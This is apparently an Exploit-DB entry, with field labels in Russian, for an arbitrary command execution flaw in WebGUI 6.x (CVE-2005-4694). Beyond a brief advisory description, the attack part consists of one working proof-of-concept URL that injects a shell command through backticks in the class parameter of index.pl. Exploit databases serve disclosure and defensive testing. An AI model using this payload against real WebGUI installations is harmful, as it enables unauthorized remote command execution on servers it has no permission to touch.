Exploit WebGUI 6.x - Arbitrary Command Execution

[Exploiter]

EDB-ID

26344

Проверка EDB

1. Пройдено

Автор

DAVID MACIEJAK

Тип уязвимости

WEBAPPS

Платформа

CGI

CVE

cve-2005-4694

Дата публикации

2005-10-12

source: https://www.securityfocus.com/bid/15083/info

WebGUI is prone to an arbitrary command execution vulnerability. This is due to insufficient sanitization of user-supplied data.

This issue can facilitate unauthorized remote access. 

http://www.example.com/WebGUI/index.pl/homels?func=add;class=WebGUI::Asset::Wobject::Article%3bprint%20%60id%60;